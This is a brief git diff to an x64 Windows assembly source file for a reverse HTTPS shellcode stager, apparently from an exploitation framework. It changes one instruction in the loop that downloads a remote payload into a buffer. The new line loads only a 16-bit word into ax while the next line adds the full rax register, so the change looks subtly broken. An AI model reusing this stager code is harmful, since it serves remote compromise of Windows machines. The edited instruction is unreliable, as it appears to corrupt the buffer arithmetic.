diff --git a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm index 32ba7ff12b..7578b590c1 100644 --- a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm @@ -145,7 +145,7 @@ download_more: test eax,eax ; download failed? (optional?) jz failure - mov rax, [rdi] + mov ax, word ptr [edi] add rbx, rax ; buffer += bytes_received test rax,rax ; optional?